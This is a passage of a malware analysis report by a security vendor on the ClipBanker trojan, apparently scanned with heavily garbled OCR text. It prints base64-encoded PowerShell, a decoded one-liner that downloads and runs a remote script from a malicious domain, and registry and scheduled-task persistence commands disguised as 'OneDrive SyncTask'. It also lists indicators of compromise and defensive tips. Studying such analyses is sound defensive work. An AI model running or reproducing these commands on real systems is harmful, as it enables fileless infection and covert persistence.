BuAHQATQBhAG4AYQBNAGUAcgBdADOAOgBTAGUAYWB1AHIAaQBOAHKAUABYAGBAdABVAGMAbWBSACAAPQAEAFSARQBUAHUABQBAADOAOEBUAGBATWB1AGOAZQBjAHQAKABbBAFMAEQBZAHQAZQBTAC
4ATgBlAHQAL gBTAGUAYWB1AHIAaQBRAHKAUABYAGBAdABVAGMAbWBSAFQAeQBWAGUAXQASACAAMWAWADCAMZAPADSADQAKACQAY gBhAHMAZQA2ADQACWBRAHIAAQBUAGCAIAA9ACAAKAACAESAZQ
B3ACOATWBiAGOAZQBjAHQAIABTAHKACWBBAGUADQAUAE4AZQBOACAAVWB1AGIAQWBSAGKAZQBUAHQAKQAUAEQAbWB3AGAADABVAGEAZABTAHQACEBPAGAAZWACACCAaABRAHQACABZADOALWAVAG
cAaQBBAGWAYQBiACAAYWBVAGRALWBVAEWAOQBNAGIAegB1AFAAMWA3ACBACEBOACBACWBUAGKACABWAGUAdABZACBAMQASADUANgAZADAANQAVAHIAYQB3AC CAKQAPAARACEBLAEKATWAUAEYAEQ
BsAGUAXQAGADoAVWBYAGKAJAB1AEEADABSAEIAeQBOAGUACWAOACIAIABIAGAAdgA6AHQAZQBtAHAAXABJAHMAL gB1AHEAZQAIACWATABDAEMABWBUAHYAZQBYAHQAXQAGADCAREBYAGBADQBCAG
EAcwBLADYANABTAHQACEBPAGAAZWACACQAYgBhAHMAZQA2ADQACWBRAHIAAQBUAGCAKQAPAAGACEB ZAHQAYQBYAHQALQBWAHIAbWB] AGUACWB ZACAAIgAKAGUAbgB 2ADOAdABLAGBACABCAGM
AcwAUAGUAeAB1ACIAIAALAF cAaQBUAGQAbWB3ACAASABPAGQAZABLAGAATAAGAHWAIABVAHUAAALAGAAdQBSAGWADQAKAA==")) | iex"
¢ st-path HKCU:\Software\cr)){
tem -Path HKCU:\Software\ -name cr

ItemPro Path HKCU:\Software\cr -Name f -PropertyType string -Value {thdTask -force out-null

t-proce .exe -ArgumentList ' /c schtasks /create /f /tn "Update Shell™ /sc hourly /m /tr "powershell -w 1 -e aQBLAHgAIAAKACZARWBLAHQA
LQBJAHQAZQBtAFAACEBVAHAAZQBYAHQACQAZACEAUABhAHQAaAAZACAASABLAEMAVQAGAFWAUWBVAGYAdAB3AGEACZB1AFWAYWBYACAALQBOAGEADQBLACAAZZAZACOARQBYAHIADWBYAEEAYWBO
AGKAbWBUACAAUWBOAGBACAAPACAAZAA="" WindowStyle

The second part of the command sets a new value to the “HKCU\Sofatwarte\cr” registry key that related
to the $thTask variable which contains the binary of the trojan Banker that we have analyzed above.

It also creates a scheduled task with CMD instance and named it “Update Shell”. The task will execute the

PowerShell command in base 64 format.
After decoding the base 64 command, we have figured that it will invoke the “HKCU\Sofatwarte\cr” value

which means that the trojan Banker’s binary (hysvc.exe) will be executed by the PowerShell command directly

from the registry:

iex %(Get-ItemProperty -Path HKCU:\Software\cr -Name f -ErrorAction Stop).d
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In parallel, the downloader “1849226900.exe” which was responsible for downloading the main payload (cs.exe),

executes another CMD instance in order to execute an additional PowerShell command:

Parent Process Details.Process Params ‘C:‘\Users‘:\AppDala\Locsl‘-ATE-mp‘\W849225?66.exe'

Parent Process Details.Process Path c:'\uaers=appde(a\_local*.(emp\‘\549226906‘&9

Parent Process Details.Process Pid

Parent s Details.Pr Running User

Parent Details.Pr FODDF38BBACT5862FETD1CAF11FOC39645EEETE4ACCO38ATFE6F14DFCE05288

Parent Details.Pr 12288:D9c1EWzp4TqhCC77up1LcRG bWWkKkcOTm4RTXQBNUX2FgmvusUshghN :3jcghJipiwo jbWWkYIT jm2eyh
1 Faht bIVWkik: hghl h. bWwk’ T

Parent Process Details.Pr is signed Not checked
Process Details ationTime A 2020-04-271 08:47
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EEAQQBSAEEARWA4AEEAZABBAEIAGBEBAECATOBBAGIAIWBCAHMADOBDAEEAQQBUAFEAQQBNAEEARGBZAEEAUGBRAEIAOBEAEgAVOBBAGIAUQBCAGRACOBEAGEBADQBPAGCAQGBVAEEAR
WA4AEEAVAB3AETAa(QBBAECADWBBAF0AUQBCAGDAGOBIAFEAQOBLAEEANBIAEEARGBNAEEAZ(QBRAETAcqBBAEgALQBBAF 0ALOBCAROAQOBDADQAQOBUAGCAQBSAEEASABRAEEATABNA
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WB3AEIAbWBBAECAAWBBAGEAUQBCADMAROBIAGBAQQBMAGCAQB3AEEASAB] AEEATAB3AEIAMWBBAECAGWBBAGIAZWBBAHY AQQBHAGSAQOBIAGCAQQBOAEEAOWASAEEANQB3AETADWBRA
EcAVOBBAFKAdWBCAHTAQUBHAGSAQQBIAGCAQGBUAEEAQWABAEEAYWBBAET AcgBBAEQARQBBAEOAdWBBAHAAQOBDAGSAQUAIACK AKQAQAHWATABPAGUACAANAABACGANAADATGBIAHCAL
(BJAHOAZQBtAFAACGBVAHAAZ(BYAHOARQAGACBAUABhAHQARAAGAEgASWBDAFUADGBCAFMADWBMAHOADWBhAHIAZOAGACBATOBhAGBAZQAGAGSAOBTAGKATAATAFAACBVAHAAZOBYA
HQAeQBUAHKACABLACAACWEOAHIAQBUAGCATAATARYAYQBSAHUAZOQAGACQAWAQACBAZGBYVAHIAYWB1ACAATAAQAGEAIOBOACEALGE T AGWADAANAACACHEOAGEACGBOACBACABYAGBAY
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WBOAGUAbABSACAALQB3ACAAMQAGACEAZQAQAGEAUQBCAGWAQOBIAGCAQQBJAEEAQQBr AEEAQWEBNAEEAUGBI AETADABBAEgAUQBBAEWAUQBCAEOAQQBIAFEAQQBaAFEAQGBBAEEARGBBA
EEAYWBNAEIAdGBBAEQAQQBBAF 0AUQBCAHKAQUBIAFEAQQBLAFEAQOBNAEEAQWAWAEEAVOBEAEIAGABBAEQAUQBEBAGEAQUBBAGCAQOBDAEEAQDBTAEEAQGBMAEEAROBNAEEAVGBRAEEAN
QBBAEYAdWBBAFUAdWECAHYAQQBHAFKAQOBKAEEAQQAZAEE ARWBFAEEAYWBNAETAbABBAEMANOBBAEWAUQBCAE BATOBHAEUAQOBI AFEAQBSAEEAQWBBAEE AYOB3 AETAMOBBAEC AMABBA
GEAUQBBAGCAQQBDADAAQQBSAFEAQGBSAEEASABJAEEAYGB3AETAcQBBAEUARQBBAFk AdWBCADAAQDBHAGSAQQBiAHCAQGE 1 AEEAQWBBAEEAVOB3AETAMABBAECADABBAGMAQQBBAHAAD
QBDADQACQBhAHCANGAXAEEARWAWAEEAYQBRAEEAPQAIACCATAATAFCARQBUAGOADWB3AFNAdABSAGHAZOAGAEgAR0BK AGOAZQBUAA==

Process Details. c:\windows\ syswowsd\cmd . exe

After decoding the PowerShell command, we discovered the following:

' [System.Text.Encoding]: :Unicode.GetString([System.Convert]: : FromBase64String( "WwBTAHkAcwBOAGUAbQAUAE4AZQBOACAAUWB1AHIAdgBpAGMAZQBQAGBAaQBUAHQA,
TQBhAGAAYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQBBAHKAUABYAGBAdABVAGMAbWBSACAAPQAGAF sARQBUAHUABQBAADOAOgBUAGBATWBiAGOAZQBjAHQAKABbAFMAeQBzAHQAZQBtACAATgBL
AHQAL gBTAGUAYwB1AHIAaQBOAHKAUABYAGBAdABVAGMAbWBsAFQAeQBWAGUAXQAS ACAAMWAWADC AMgApADsAaQB1AHgATAACACEATgB1AHCALQBPAGIAagBl AGMAdAAEAFMACQB zAHQAZQBACAA
TgB1AHQAL gBXAGUAYgBDAGWAaQB1AGAAdAAPACAARABYAHCAbgBSAGBAYQBKAFMAJABYAGKAD

gBnACgAIWBoAHQAdABWAHMAOgAVACBAYQBZAHEAL gBkADYAcwBoAGkAaQB3AHOALgBWAHCALWB3AGkAbgAVAGKAbgBzACBAYWBOAGUAYWBrAGKkAbgBnACAACABZADEAIJWAPACKA™)) | iex

New-ItemProperty -Path HKCU:\Software -Name kumi -PropertyType string -Value fk -force out-null

start-process cmd.exe -ArgumentlList ' /c schtasks /create /f /tn "OneDrive SyncTask" /sc hourly /mo 1 /tr “powershell -w 1 -e aQBlAHgAIAAKACgARwB1
AHQALQBJAHQAZQBtAFAACgBVAHAAZQBYAHQAeQAZACOAUABhAHQAaAAgACAASABL AEMAVQAGAFWAUWBVAGYAJAB3AGEACEB1ACAALQBOAGEADQB1ACAAaWB1AGBAaQAgACOARQBYAHTIAbWBYAEEA
‘YwBOAGKAbwBUACAAUWBBAGBACAApAC4AawB1AGBAaQA="" -WindowStyle

The first part is the $K variable that contains a base 64 command.

stem.Net.ServicePointManager]: :SecurityProtocol [Enum] : :ToObject([System.Net.SecurityProtocolType], 3072);iex ((New-Object
System.Net.WebClient).DownloadString('https://asq.déshiiwz.pw/win/ins/checking.ps1'))

After decoding the command, we see that it launchs a pure fileless attack that run from the PowerShell virtual

memory. The command initiates network communication to the following URL:
“hxxps://asq.d6shiiwz[.]pw/win/ins/checking[.]ps1” in order to invoke the content of the “checking.ps1” script.
This activity happened by the IEX (Invoke-Expression) cmdlet that executes the content of the PS1 file by using the
DownladString method.

Unfortunately, the URL nolonger exists and when we have tried to access the URL, we get no response:
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< C & asqg.déshiiwz.pw/winfins/checking.ps1

it Apps I'] «Office 365 -3 no'1o Z] VirusTotal ANY.RUN - Interacti.. |8 Free Automated M

Not Found

The requested URL was not found on this server.

-

Apache’2.4.38 (Debian) Server at asg.doshiiwz.pw Port 443

In order to verify that the malicious URL does not exist, we have tried to run a CURL command. In some of the
cases attacker can fake the HTML page to show no response, while there is active communication to the malicious

domain.

32>curl I q.dbshiiwz.pw/win/i
Found

includeSubDomains

k *[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String ("WwBTAHKACWBOAGUADQAUAE4AZQBOACAAUWBIAHIAdEBPAG
MAZQBQAG8AaQBUAHQATQBhAGAAYQBNAGUACgBdADOAOgBTAGUAYWB1AHIAaQBOAHKAUABYAGS8AdABVAGMAbWBSACAAPQAgAFsSARQBUAHUAbQBJADOAOEBUAGBATWB1AGOA
ZQBjAHQAKABbAFMAeQBzAHQAZQBtAC4ATEB1AHQALEBTAGUAYWB1AHIAaQBOAHKAUABYAGBAdABVAGMAbWB SAFQAeQBWAGUAXQASACAAMWAWADC AMgAPADSAaQBLAHEATA
AOACgATEBLAHCALQBPAGIAagBlAGMAdAAEAFMAEQBZAHQAZQBLACAATEB1AHQAL g BXAGUAYEBDAGWAAQBLAGAAdAAPACAARABVAHCADbEBSAGBAYQBKAFMAdABYAGKAbgBN
ACgAIwBoAHQAdABWAHMAOgAVAC8AYQBzAHEAL gBKkADYAcwBoAGkAaQB3AHOALgBwAHCALWB3AGkAbgAvAGKAbgBzAC8AYWBOAGUAYWBrAGkAbgBNACAACABZADEAJWAPAC
kA")) | iex'

New-ItemProperty -Path HKCU:\Software -Name kumi -PropertyType string -Value ¢k -force | out-null «

start-process cmd.exe -ArgumentList ' /c schtasks /create /f /tn "OneDrive SyncTask" /sc hourly /mo 1 /tr "powershell -w 1 -e aQ
B1AHgATIAAKACgARWB1AHQALQBIAHQAZQBtAFAACgBVAHAAZQBYAHQAeQAEACOAUABhAHQAGAAgACAASABLAEMAVQAGAFWAUWBVAGYAdAB3AGEACgBLACAALQBOAGEADQBL
ACAAawB1AGOAaQAgACBARQBYAHIAbwBYAEEAYWBOAGKAbWBUACAAUWBBAGBACAAPACAAaWBI1AGOAaQA="" -WindowStyle

In the second part of the PowerShell command, it sets a new value in the “HKCU:\Sofatware” registry key. The

value name is “kumi” and it contains the $k variable, which means it will execute the malicious PS1 script content.

Furthermore, it will create a schedule task named: “OneDrive SyncTask”. The task will execute a PowerShell

command.
In order to understand what the purpose of the command, we have decoded the base 64 command:

iex $(Get-ItemProperty -Path HKCU:\Software -Name kumi -ErrorAction Stop).kumi

The command simply executes by the IEX cmdlet the kumi value which contain the malicious PS1 script.

Attack ended at 7:47:56.000 PM (13 seconds after it executed)

INDICATORS OF COMPROMISE
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Type Indicator

HKCU:\Sofatware (value — Kumi)

Registry
HKCU\Sofatwarte\cr
OneDrive SyncTask

Schedule Task GoogleChromUpdateTask
Update Shell
4a471f05c7624238ef374bbf3af4eeb2abc20f87579ecdbeefeab1356e23ae69

SHA?56 1f0ddf5088ac75862fe1d1c4f11f9c39645eeeledacc938alf66f14dfc5d5288
e09013a2ac876746a5143f8ee8f997b06688b71adc05ddb81aeb9ala69fa6f88
hxxps://asq.d6shiiwz[.]pw/win/ins/checking|.]ps1

URL hxxps://gitlab[.]com/UL9gbzuP37/rt/snippets/1956305/raw
hxxp://bzqopgteral.]xyz/

Conclusion

The Cynet Research Team has analyzed and investigated different threats and malware using various tools and
techniques. Cynet’s seasoned security experts are familiar with the newest attacks vectors and techniques that exist

in the wild.

Cynet 360 customers are fully protected from these kinds of threats and have full visibility over their protected
assets. Cynet has various behavioral and heuristics capabilities designed to detect and prevent advanced threats like

the one described in this report.

The Cynet 360 solution gives our customers the ability to control and manage cyber security incidents, to perform
forensic analysis on infected environments, and to run remote actions on the infected hosts in order to mitigate the

threat. On top of that, we have our CyOps team which is monitoring our customers’ environments 24/7/365.

Contact Cynet CyOps
(Cynet Security Operations Center)

The Cynet CyOps available to clients for any issues 24/7, questions or comments related to Cynet 360. For

additional information, you may contact us directly at:

Phone (US): +1-347-474-0048
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Phone (EU): +44-203-290-9051
Phone (IL): +972-72-336-9736

CyOps Email: soc@cynet.com
Tips From Expert

In my experience, here are tips that can help you better defend against advanced, multi-stage attacks like the

ClipBanker Trojan:

1. Harden Against LOLBin Abuse: Restricting the use of trusted binaries and implementing application
control policies helps prevent attackers from abusing legitimate tools to execute malicious code.

2. Deep Monitoring of PowerShell Execution: Monitoring PowerShell activity for abnormal usage and
tracking script execution provides valuable insights into potential malicious activity.

3. Proactive URL Scanning for Malicious Domains: Continuously scanning and blacklisting suspicious
domains helps prevent users from accessing malicious websites and downloading malicious files.

4. Enforce Secure Email Gateways: Strengthening email security helps detect and block phishing attempts,
which are often used to deliver malware like ClipBanker.

5. Deploy Memory Analysis Tools for Early Detection: Memory-based analysis can catch malware in action,

even when there are no files written to disk, allowing for earlier detection and response.
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Aviad Hasnis is the Chief Technology Officer at Cynet.

He brings a strong background in developing cutting edge technologies that have had a major impact on the security
of the State of Israel. At Cynet, Aviad continues to lead extensive cybersecurity research projects and drive

innovation forward.

Source: https://www.cynet.com/attack-techniques-hands-on/threat-research-report-clipbanker-13-second-attack/
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